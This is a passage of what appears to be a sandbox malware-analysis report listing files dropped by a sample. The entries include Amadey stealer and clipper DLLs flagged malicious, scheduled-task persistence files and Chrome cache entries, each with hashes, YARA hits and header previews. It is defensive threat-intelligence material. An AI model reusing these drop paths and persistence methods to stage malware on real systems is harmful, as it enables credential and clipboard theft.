Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'...c.j.c.j.c.j.8.i.i.j.8.o..j.8.n.q.j..n.l.j..i.r.j..o.B.j.8.k.d.j.c.k...j...c.`.j...j.b.j.....b.j...h.b.j.Richc.j.........................PE..L...j..e...........!.....$...........f.......@............................................@......................... ...........P.......................................8...........................(...@............@..L............................text...6#.......$.................. ..`.rdata..4i...@...j...(..............@..@.data...............................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1285632
Entropy (8bit):	6.460494158653329
Encrypted:	false
SSDEEP:	24576:IvkQL6YY4wMPSYZofkf0Gh6Pi41+a9uyP5dggky+yC7:IsMPSYcS5wPi095Pbg9y
MD5:	15A42D3E4579DA615A384C717AB2109B
SHA1:	22AEEDEB2307B1370CDAB70D6A6B6D2C13AD2301
SHA-256:	3C97BB410E49B11AF8116FEB7240B7101E1967CAE7538418C45C3D2E072E8103
SHA-512:	1EB7F126DCCC88A2479E3818C36120F5AF3CAA0D632B9EA803485EE6531D6E2A1FD0805B1C4364983D280DF23EA5CA3AD4A5FCA558AC436EFAE36AF9B795C444
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 71% Antivirus: Virustotal, Detection: 78%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............^...^...^.._...^.._...^.._2..^W._..^W._...^W._...^.._...^...^C..^.._...^.._...^..X^...^.._...^Rich...^........................PE..d...i..e.........." .........R......h........................................P............`......................................... ...X...x........ .......`..(............0..........p........................... ................................................text............................... ..`.rdata..............................@..@.data...L........D..................@....pdata..(....`......................@..@_RDATA..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................................................

C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	112128
Entropy (8bit):	6.400356358225577
Encrypted:	false
SSDEEP:	3072:D4uSD+ZwruS0bGYuZRtasSVh/QEIegRQod4l:kuTiabruZR8JSlD4l
MD5:	154C3F1334DD435F562672F2664FEA6B
SHA1:	51DD25E2BA98B8546DE163B8F26E2972A90C2C79
SHA-256:	5F431129F97F3D56929F1E5584819E091BD6C854D7E18503074737FC6D79E33F
SHA-512:	1BCA69BBCDB7ECD418769E9D4BEFC458F9F8E3CEE81FEB7316BB61E189E2904F4431E4CC7D291E179A5DEC441B959D428D8E433F579036F763BBAD6460222841
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll, Author: Joe Security Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 96% Antivirus: Virustotal, Detection: 82%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'...c.j.c.j.c.j.8.i.i.j.8.o..j.8.n.q.j..n.l.j..i.r.j..o.B.j.8.k.d.j.c.k...j...c.`.j...j.b.j.....b.j...h.b.j.Richc.j.........................PE..L......e...........!.....$...........f.......@............................................@......................... ...........P.......................................8...........................(...@............@..L............................text...6#.......$.................. ..`.rdata..4i...@...j...(..............@..@.data...............................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\c1ec479e5342a2\cred64.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1285632
Entropy (8bit):	6.460276790319054
Encrypted:	false
SSDEEP:	24576:2vkQL6YY4wMPSYZofkf0Gh6Pi41+a9uyP5dggv4+yC7:2sMPSYcS5wPi095PbgS4
MD5:	F35B671FDA2603EC30ACE10946F11A90
SHA1:	059AD6B06559D4DB581B1879E709F32F80850872
SHA-256:	83E3DF5BEC15D5333935BEA8B719A6D677E2FB3DC1CF9E18E7B82FD0438285C7
SHA-512:	B5FA27D08C64727CEF7FDDA5E68054A4359CD697DF50D70D1D90DA583195959A139066A6214531BBC5F20CD4F9BC1CA3E4244396547381291A6A1D2DF9CF8705
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Roaming\c1ec479e5342a2\cred64.dll, Author: Joe Security
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............^...^...^.._...^.._...^.._2..^W._..^W._...^W._...^.._...^...^C..^.._...^.._...^..X^...^.._...^Rich...^........................PE..d......e.........." .........R......h........................................P............`......................................... ...X...x........ .......`..(............0..........p........................... ................................................text............................... ..`.rdata..............................@..@.data...L........D..................@....pdata..(....`......................@..@_RDATA..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................................................

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Reputation:	unknown
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\Tasks\chrosha.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000054001\amert.exe
File Type:	data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	3.4254082849999485
Encrypted:	false
SSDEEP:	6:r8idbX45ZsUEZ+lX1ErCqdtFXqYEp5t/uy0lt/Zut0:QsrDQ1EeqNfXVnut0
MD5:	5BA67D0063A9510A62E74AFF2AA7A099
SHA1:	BA33B22D04BEB641DFD941FECFEB849E1D512942
SHA-256:	8092517863692DE50DB71C91DBD5E81DD819DE93D5A77E53DDC4B429A6D61374
SHA-512:	4199F468E2E83259C01129991A9267A967C2B4F1884A66CA58370D31ED03A4BCA3D40BC3CE9A9654629FA9EE30DE48FD17BD7EBCF3EF8C6920767C1F0A48BDD7
Malicious:	false
Reputation:	unknown
Preview:	.........U.I..".Y...F.......<... .....s.......... ....................:.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.4.d.0.a.b.1.5.8.0.4.\.c.h.r.o.s.h.a...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...................@3P.........................

C:\Windows\Tasks\explorha.job

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe
File Type:	data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	3.419081551925166
Encrypted:	false
SSDEEP:	6:W9/8n7XUG5ZsUEZ+lX1y6y2l+lRdtFXqYEp5t/uy0lt/2t0:W90nLYQ1y6NkDNfXV4t0
MD5:	1AB5CF4A8E904504900A3E0A3EF303A7
SHA1:	B5067400C2F095860770D380D2BC1789C1BB373F
SHA-256:	295E67CDBFC733855EF133B57F68A98BE51BEDFDD21EEA1827E2EC5926E01F65
SHA-512:	DC0277BBA90F052780239E79CBEA593F95E8F4457A0861569ABFEEBF1D63DCFB734C4B7E190E1CBEDAC08F6AF896D1F2D63B5948FA98979E64C82DE58AC4D22C
Malicious:	false
Reputation:	unknown
Preview:	....\|<..4}.E.cZ.?:..F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.0.9.f.d.8.5.1.a.4.f.\.e.x.p.l.o.r.h.a...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...................@3P.........................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.424738903564287
Encrypted:	false
SSDEEP:	6144:iSvfpi6ceLP/9skLmb0OTIWSPHaJG8nAgeMZMMhA2fX4WABlEnNO0uhiTw:xvloTIW+EZMM6DFyY03w
MD5:	CC020EE506DEE63112FF1BC6309634AD
SHA1:	54909AA212DB1137B96EB870263BB4FF7C4143DB
SHA-256:	73C4A3662FF2414A923A586C6520D0659908C39D3919C3F0B4C5EF726EC70A11
SHA-512:	A2D6DB232B19F575976FDE5B8041CB0D3288AC36CA12CE6F2678B3F9FDB17FD64C7505CF1AEA2014A284B7B9BE250E4C5E1C59D08630651A0EC17433D6F204EE
Malicious:	false
Reputation:	unknown
Preview:	regf>...>....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm:8..................................................................................................................................................................................................................................................................................................................................................ec.>........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 195

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1631)
Category:	dropped
Size (bytes):	38525
Entropy (8bit):	5.3838229197405845
Encrypted:	false
SSDEEP:	768:ka4ZsJiVqZZIpNGVMfgXafCcgBRyLa7l6txRjXbwm75/JgZRrQAT6l:bZCfVfCCa7qxR3nt/JgT6
MD5:	F269DC67D0E2355F1A50E500D5BE54A8
SHA1:	96A3A5C465D8A6B18373BF73138DBEB2B03AE534
SHA-256:	7FAB6151E7F2088D3E76373C563CCC3F9AE1523C49E8D38225F82158F8557954
SHA-512:	4B81B50467C5CD3CB11DCA60F6A9438214557565BEE34558B128BE17628965A6184D5845E4B61B883D8C4F140BE97259A16AF5361280EE1ADE4F0E674A4B2101
Malicious:	false
Reputation:	unknown
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._.mpa=function(a){var b=0,c;for(c in a)b++;return b};_.npa=function(a){return a.hh&&"function"==typeof a.hh?a.hh():_.ja(a)\|\|"string"===typeof a?a.length:_.mpa(a)};_.qn=function(a){if(a.Xg&&"function"==typeof a.Xg)return a.Xg();if("undefined"!==typeof Map&&a instanceof Map\|\|"undefined"!==typeof Set&&a instanceof Set)return Array.from(a.values());if("string"===typeof a)return a.split("");if(_.ja(a)){for(var b=[],c=a.length,d=0;d<c;d++)b.push(a[d]);return b}return _.ob(a)};._.opa=function(a){if(a.Vg&&"function"==typeof a.Vg)return a.Vg();if(!a.Xg\|\|"function"!=typeof a.Xg){if("undefined"!==typeof Map&&a instanceof Map)return Array.from(a.keys());if(!("undefined"!==typeof Set&&a instanceof Set)){if(_.ja(a)\|\|"string"===typeof a){var b=[];a=a.length;for(var c=0;c<a;c++)b.push(c);return b}return _.pb(a)}}};.var ppa,spa,rpa,qpa,Gn,In,Epa,vpa,xpa,wpa,Apa,ypa;ppa=function(a,b,c){if(b)re

Chrome Cache Entry: 196

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (574)
Category:	dropped
Size (bytes):	3449
Entropy (8bit):	5.476559526829746
Encrypted:	false
SSDEEP:	96:oWqZ4RE7YGueGE3bYetPjR6lv7esvpagGahjOw:wZ4R8XkvAgGq
MD5:	F6053E7D421B4DBDA6B13AFE6A4E8331
SHA1:	A4040265AD3E09BEEB0B6C8EC35156831A56F9AA
SHA-256:	666B45739C898F59D524D3C78B5FBF452E731DFE64CE2BBB5E7C1D45181EDE93
SHA-512:	CA5836BD044567762D922B20ECAA977ECBDFDE5BFE14CD692B489C93A6B25155ED1346FE60ABB93DFF986E944754899C7420982F354083463C3150ED5557504F
Malicious:	false
Reputation:	unknown
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._.k("Wt6vjf");.var ota=function(){var a=_.ae();return _.yi(a,1)};var lq=function(a){this.Ga=_.t(a,0,lq.messageId)};_.A(lq,_.v);lq.prototype.Ja=function(){return _.Zh(this,1)};lq.prototype.Va=function(a){return _.Ki(this,1,a)};lq.messageId="f.bo";var mq=function(){_.Ak.call(this)};_.A(mq,_.Ak);mq.prototype.Xc=function(){this.PO=!1;pta(this);_.Ak.prototype.Xc.call(this)};mq.prototype.aa=function(){qta(this);if(this.Rz)return rta(this),!1;if(!this.NQ)return nq(this),!0;this.dispatchEvent("p");if(!this.oK)return nq(this),!0;this.kI?(this.dispatchEvent("r"),nq(this)):rta(this);return!1};.var sta=function(a){var b=new _.zn(a.X_);null!=a.qL&&b.aa("authuser",a.qL);return b},rta=function(a){a.Rz=!0;var b=sta(a),c="rt=r&f_uid="+_.Ng(a.oK);_.gl(b,(0,_.of)(a.fa,a),"POST",c)};.mq.prototype.fa=function(a){a=a.target;qta(this);if(_.jl(a)){this.iG=0;if(this.kI)this.Rz=!1,this.dispatchEvent("

Chrome Cache Entry: 197

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4199)
Category:	dropped
Size (bytes):	19278
Entropy (8bit):	5.369599228603606
Encrypted:	false
SSDEEP:	384:cvdvKJdlmqS6Y09al9NSQqbZrM+McC4Gw+RXY2RAgpho55WW12:KvV6Y09a3wrHCQ+RIVgwWW12
MD5:	CF3995B2563E0EBF8D485583199AA881
SHA1:	AD8F16F214600B1C8D4B18E6BC227CBBE7921804
SHA-256:	D2D12D9D00DB79F5F874A8A5BF942591D4DB684901EDA33A7CDCA25E6F84377C
SHA-512:	B19CF516537D180DD64A6B9ECDD9760085971422511FF59FA05D120B43B4971611429B5A03D7D5384029D1691B6B414F9340701CA337D5CBA429C32CBE8D4310
Malicious:	false
Reputation:	unknown
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._.Qu=function(a){this.Ga=_.t(a)};_.A(_.Qu,_.v);_.Ru=function(a,b){return _.wd(a,3,b,_.Cc)};_.Qu.Mb=[1,2,3,4];.var wCa=_.da.URL,xCa,yCa,ACa,zCa;try{new wCa("http://example.com"),xCa=!0}catch(a){xCa=!1}yCa=xCa;.ACa=function(a){var b=_.dh("A");try{_.Kb(b,new _.wb(a));var c=b.protocol}catch(e){throw Error("hc`"+a);}if(""===c\|\|":"===c\|\|":"!=c[c.length-1])throw Error("hc`"+a);if(!zCa.has(c))throw Error("hc`"+a);if(!b.hostname)throw Error("hc`"+a);var d=b.href;a={href:d,protocol:b.protocol,username:"",password:"",hostname:b.hostname,pathname:"/"+b.pathname,search:b.search,hash:b.hash,toString:function(){return d}};zCa.get(b.protocol)===b.port?(a.host=a.hostname,a.port="",a.origin=a.protocol+"//"+a.hostname):.(a.host=b.host,a.port=b.port,a.origin=a.protocol+"//"+a.hostname+":"+a.port);return a};._.BCa=function(a){if(yCa){try{var b=new wCa(a)}catch(d){throw Error("hc`"+a);}var c=zCa.g

Chrome Cache Entry: 198

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (405)
Category:	dropped
Size (bytes):	1644
Entropy (8bit):	5.224999139019226
Encrypted:	false
SSDEEP:	48:o7UHjAjx++s4zR8ClyH5agKGwhkUshvNrw:o9tB8CYHEWXw
MD5:	88F6374D6EB346B9165A2F00E6D4F9ED
SHA1:	00ACCB56561DF0D6E14A0D3C3E194C9500BB4AD6
SHA-256:	EDC311CA77447F49C7A96707ED2D979FA6455DED265D3985F03DD137FC0430D5
SHA-512:	A2895383498A7FAA1596862B55EE7CBA28FC2185FBE8760A1988B180CE15C35011DDA4233BE6F4A79DB60DEA9BEFC1C34C80A8DBB847CFDF5337C2F2A70A8E9E
Malicious:	false
Reputation:	unknown
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._.k("w9hDv");._.qf(_.dja);_.Nv=function(a){_.I.call(this,a.Ha);this.aa=a.Wa.cache};_.A(_.Nv,_.I);_.Nv.Na=_.I.Na;_.Nv.Ba=function(){return{Wa:{cache:_.$o}}};_.Nv.prototype.execute=function(a){_.nb(a,function(b){var c;_.ie(b)&&(c=b.Za.Wb(b.fb));c&&this.aa.lD(c)},this);return{}};_.Eq(_.yja,_.Nv);._.l();._.k("kMFpHd");._.oVa=new _.xe(_.Fk);._.l();._.k("VwDzFe");.var hE=function(a){_.I.call(this,a.Ha);this.aa=a.Fa.Sq;this.fa=a.Fa.metadata;this.da=a.Fa.Jq};_.A(hE,_.I);hE.Na=_.I.Na;hE.Ba=function(){return{Fa:{Sq:_.ID,metadata:_.oVa,Jq:_.FD}}};hE.prototype.execute=function(a){var b=this;a=this.da.create(a);return _.nb(a,function(c){var d=2===b.fa.getType(c.Ed())?b.aa.Xb(c):b.aa.aa(c);return _.Ij(c,_.JD)?d.then(function(e){return _.md(e)}):d},this)};_.Eq(_.Dja,hE);._.l();._.k("sP4Vbe");._.nVa=new _.xe(_.zja);._.l();._.k("A7fCU");.var ND=function(a){_.I.call(this,a.Ha);this.aa=a.Fa.tL}

Chrome Cache Entry: 199

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	749
Entropy (8bit):	4.70368920713592
Encrypted:	false
SSDEEP:	12:t4nolW84qhebl8cP5UbKEBnStLJdJad+DB3xELFkXUIx+RWuSrtUjAC9ZiCWInLE:t4olS+2x5UbKrTJ9DA0YWrrmWCFzfIvB
MD5:	AA920B32443219E3EDFA32DEF5EBD457
SHA1:	8A4B47D0A2CA261803AA5C1A9DDE7BA3FE15B298
SHA-256:	E5773339E56DD15D8DAAB94CE6ED5D444D1EF0B61355E20854234605BB2E755B
SHA-512:	C45BDB233447E1F4D3B4B5174A328E3D8987C9B5E2E12733E5027173B0302919680901C311094714CFC32AC2F2C749DC9EB95FFCAA8F5DA1E5EBEF3FB7225E37
Malicious:	false
Reputation:	unknown
Preview:	<svg xmlns="http://www.w3.org/2000/svg" height="36" viewBox="0 0 36 36" width="36"><path d="M34.32 18.39c0-1.17-.11-2.3-.29-3.39H18v6.48h9.4c-.38 2.19-1.59 4.05-3.42 5.31v4.1h5.28c3.2-2.97 5.06-7.33 5.06-12.5z" fill="#4285F4"/><path d="M18 35c4.59 0 8.44-1.52 11.25-4.12l-5.28-4.1c-1.57 1.08-3.59 1.71-5.97 1.71-4.51 0-8.33-3.02-9.73-7.11H2.82v4.23C5.62 31.18 11.36 35 18 35z" fill="#34A853"/><path d="M8.27 21.39c-.36-1.07-.57-2.21-.57-3.39s.21-2.32.58-3.39v-4.23H2.82C1.67 12.67 1 15.25 1 18s.67 5.33 1.82 7.63l5.45-4.24z" fill="#FBBC05"/><path d="M18 7.5c2.56 0 4.86.88 6.67 2.61l.01.02 4.7-4.7C26.43 2.68 22.59 1 18 1 11.36 1 5.62 4.82 2.82 10.37l5.45 4.23c1.4-4.08 5.22-7.1 9.73-7.1z" fill="#EA4335"/><path d="M1 1h34v34H1z" fill="none"/></svg>

Chrome Cache Entry: 200

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 2 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	5430
Entropy (8bit):	3.6534652184263736
Encrypted:	false
SSDEEP:	48:wIJct3xIAxG/7nvWDtZcdYLtX7B6QXL3aqG8Q:wIJct+A47v+rcqlBPG9B
MD5:	F3418A443E7D841097C714D69EC4BCB8
SHA1:	49263695F6B0CDD72F45CF1B775E660FDC36C606
SHA-256:	6DA5620880159634213E197FAFCA1DDE0272153BE3E4590818533FAB8D040770
SHA-512:	82D017C4B7EC8E0C46E8B75DA0CA6A52FD8BCE7FCF4E556CBDF16B49FC81BE9953FE7E25A05F63ECD41C7272E8BB0A9FD9AEDF0AC06CB6032330B096B3702563
Malicious:	false
Reputation:	unknown
Preview:	............ .h...&... .... .........(....... ..... ............................................0...................................................................................................................................v.].X.:.X.:.r.Y........................................q.X.S.4.S.4.S.4.S.4.S.4.S.4...X....................0........q.W.S.4.X.:.................J...A...g.........................K.H.V.8..........................F..B.....................,.......................................B..............................................B..B..B..B..B...u..........................................B..B..B..B..B...{.................5.......k...........................................................7R..8F.................................................2........Vb..5C..;I..................R^.....................0................Xc..5C..5C..5C..5C..5C..5C..lv..........................................]i..<J..:G..Zf....................................................

Chrome Cache Entry: 201

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (682)
Category:	dropped
Size (bytes):	4126
Entropy (8bit):	5.355816676246375
Encrypted:	false
SSDEEP:	96:GOFB1Kce2eMXmvci7UccRyDlyiKenjwf9Xn6Ow:93Kcri7U1RyDlyiKenjUN6b
MD5:	C18D7346DE40A0E15C7AD41BDC248E21
SHA1:	1AA3B333CABC332A486E1390FE223ECA98CE9BBE
SHA-256:	555F0968B40AA581D32E1802451B0B941875D0A7571CFCDDD3703BF83FE0DF24
SHA-512:	115945EF71ECF7A1FC00775596237E542F90E733D249C38313653E9FEC086666A7A25714EE432BD3AB50A88E917EEE10696C3E445C127B1AFA71860D8AFA1EA4
Malicious:	false
Reputation:	unknown
Preview:	"use strict";_F_installCss(".N7rBcd{overflow-x:auto}sentinel{}");.this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._.qf(_.Xna);._.k("sOXFj");.var Kq=function(a){_.I.call(this,a.Ha)};_.A(Kq,_.I);Kq.Na=_.I.Na;Kq.Ba=_.I.Ba;Kq.prototype.aa=function(a){return a()};_.Eq(_.Wna,Kq);._.l();._.k("oGtAuc");._.Jta=new _.xe(_.Xna);._.l();._.k("q0xTif");.var Fua=function(a){var b=function(d){_.Rl(d)&&(_.Rl(d).yc=null,_.Xq(d,null));d.XyHi9&&(d.XyHi9=null)};b(a);a=a.querySelectorAll("[c-wiz]");for(var c=0;c<a.length;c++)b(a[c])},ir=function(a){_.gp.call(this,a.Ha);this.Qa=this.dom=null;if(this.xi()){var b=_.lk(this.Kf(),[_.Jk,_.Ik]);b=_.th([b[_.Jk],b[_.Ik]]).then(function(c){this.Qa=c[0];this.dom=c[1]},null,this);_.xq(this,b)}this.Ma=a.yh.W7};_.A(ir,_.gp);ir.Ba=function(){return{yh:{W7:function(){return _.ff(this)}}}};ir.prototype.getContext=function(a){return this.Ma.getContext(a)};.ir.prototype.getData=function(a){return this.Ma.getData(a)};ir.protot

Chrome Cache Entry: 202

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (504)
Category:	dropped
Size (bytes):	2215
Entropy (8bit):	5.36757102910705
Encrypted:	false
SSDEEP:	48:ob1bEIZs1Ii7Bq7ZKhGdfWK7Dt75vpTMW1zmieTHWxrw:o5r8Ph4fPtdv91zmieT8w
MD5:	306BAA59FBF8C921E798B0D5496B3915
SHA1:	CB3B568B8C1F7A8187BC4146D91B3471E2152DCA
SHA-256:	C816386F29E09DEDABBA8AC4F9A1BC06799796BE47AB9E88B1F34A3CA6CF333D
SHA-512:	131121A04F87D5F41B659C932DE2FE268DE9B49DA890044DCA224C46D6F385A097BE7E472C831E7A1E16FB3D54E22A2D5D1D7501831E079CCA12C3978AEE95A5
Malicious:	false
Reputation:	unknown
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._.YKa=_.y("iCBEqb",[_.Roa]);._.k("iCBEqb");.var VH=function(a){_.J.call(this,a.Ha);this.aa=a.Fa.xz};_.A(VH,_.J);VH.Ba=function(){return{Fa:{xz:_.UH}}};VH.prototype.EB=function(){var a=this.aa;_.w4a(a);_.v4a(a)};_.K(VH.prototype,"IYtByb",function(){return this.EB});_.M(_.YKa,VH);._.l();._.eMa=_.y("nKuFpb",[_.Kl,_.Bx]);._.k("nKuFpb");.var p_a=_.zf(["target"]),q_a=_.zf(["aria-"]),r_a=_.zf(["aria-"]),EF=function(a){_.xF.call(this,a.Ha);this.Kc=a.Fa.Kc;this.link=this.oa().find("A").kd(0);if(_.tC(this.oa())){a=this.oa().el();var b=this.Pe.bind(this);a.__soy_skip_handler=b}};_.A(EF,_.xF);EF.Ba=function(){return{Fa:{Kc:_.Iq}}};_.g=EF.prototype;_.g.ue=function(){};_.g.nE=function(a){_.Kb(this.link.el(),a)};_.g.Xr=function(a){_.qq([_.Db(p_a)],this.link.Nb(),"target",a)};._.g.click=function(a){if("keydown"===a.type&&"Enter"===_.CF(a.event))return!1;_.xF.prototype.click.call(this,a);retu

Chrome Cache Entry: 203

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (834)
Category:	dropped
Size (bytes):	7669
Entropy (8bit):	5.358621282750075
Encrypted:	false
SSDEEP:	192:KoBsYETJv5wkjv7JkfKNuv0DCzeBinCWBKRYaRdR2bRuRPR5RGRfRhRAR8RA:1sBXwknJrN/s2t
MD5:	C342BFA66173FE4BCC024C34B5B7BCB7
SHA1:	32BB20CACA08FBE056A15218A778B5DCA219134C
SHA-256:	93127A8CDDC51F0FFA89579EBA1578F54CA2CF65701550E9F6A611362C79A1A9
SHA-512:	F878BEE61FE8CCC5B1B279E2AF265720D26558BF5C4EC819C8A897607B6726C2156C6D4D0F621F4434E9233BB6C10843C837FDC848A3586D52B849AFD7A71FE4
Malicious:	false
Reputation:	unknown
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._.qMa=_.y("wg1P6b",[_.tx,_.El,_.Kl]);._.k("wg1P6b");.var m1a=function(a,b){b=b\|\|_.Ja;for(var c=0,d=a.length,e;c<d;){var f=c+(d-c>>>1);var h=b(0,a[f]);0<h?c=f+1:(d=f,e=!h)}return e?c:-c-1},n1a=function(a,b){for(;b=b.previousSibling;)if(b==a)return-1;return 1},o1a=function(a,b){var c=a.parentNode;if(c==b)return-1;for(;b.parentNode!=c;)b=b.parentNode;return n1a(b,a)},p1a=function(a,b){if(a==b)return 0;if(a.compareDocumentPosition)return a.compareDocumentPosition(b)&2?1:-1;if(_.xg&&!(9<=Number(_.Eg))){if(9==a.nodeType)return-1;if(9==b.nodeType)return 1}if("sourceIndex"in.a\|\|a.parentNode&&"sourceIndex"in a.parentNode){var c=1==a.nodeType,d=1==b.nodeType;if(c&&d)return a.sourceIndex-b.sourceIndex;var e=a.parentNode,f=b.parentNode;return e==f?n1a(a,b):!c&&_.hh(e,b)?-1*o1a(a,b):!d&&_.hh(f,a)?o1a(b,a):(c?a.sourceIndex:e.sourceIndex)-(d?b.sourceIndex:f.sourceIndex)}d=_.Vg(a);c=d.create

Chrome Cache Entry: 204

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (14200)
Category:	dropped
Size (bytes):	457161
Entropy (8bit):	5.782208211080181
Encrypted:	false
SSDEEP:	3072:cy/lyddladMZ9nB7MqXAbIopNDEA+1abEeTBUgHys62mWh6uttCtt1ttg1MzY35K:jq9zAbIZeTBUWU2mRMSMCBHxxv
MD5:	541C48B123CDA66C4776C0DC7C30C76B
SHA1:	85AE6F526E0A0C8D3D787B5CDE029352A5E49538
SHA-256:	75DC7CAC96A4B911560D0669F9D7A6B05240C8761025248A633DD1E5E15DD56E
SHA-512:	82B9DE91B3E4180CD11369C6EB00476DD04C1824F0EE778F9C76075ACDC5F14D7D33BD819B18497957945EEC92A0A2BAB732991E40EF1FC0F8E8EB824EC95B05
Malicious:	false
Reputation:	unknown
Preview:	"use strict";_F_installCss(".O0WRkf{-webkit-user-select:none;transition:background .2s .1s;border:0;border-radius:3px;cursor:pointer;display:inline-block;font-size:14px;font-weight:500;min-width:4em;outline:none;overflow:hidden;position:relative;text-align:center;text-transform:uppercase;-webkit-tap-highlight-color:transparent;z-index:0}.A9jyad{font-size:13px;line-height:16px}.zZhnYe{transition:box-shadow .28s cubic-bezier(0.4,0,0.2,1);background:#dfdfdf;box-shadow:0px 2px 2px 0px rgba(0,0,0,.14),0px 3px 1px -2px rgba(0,0,0,.12),0px 1px 5px 0px rgba(0,0,0,.2)}.zZhnYe.qs41qe{transition:box-shadow .28s cubic-bezier(0.4,0,0.2,1);transition:background .8s;box-shadow:0px 8px 10px 1px rgba(0,0,0,.14),0px 3px 14px 2px rgba(0,0,0,.12),0px 5px 5px -3px rgba(0,0,0,.2)}.e3Duub,.e3Duub a,.e3Duub a:hover,.e3Duub a:link,.e3Duub a:visited{background:#4285f4;color:#fff}.HQ8yf,.HQ8yf 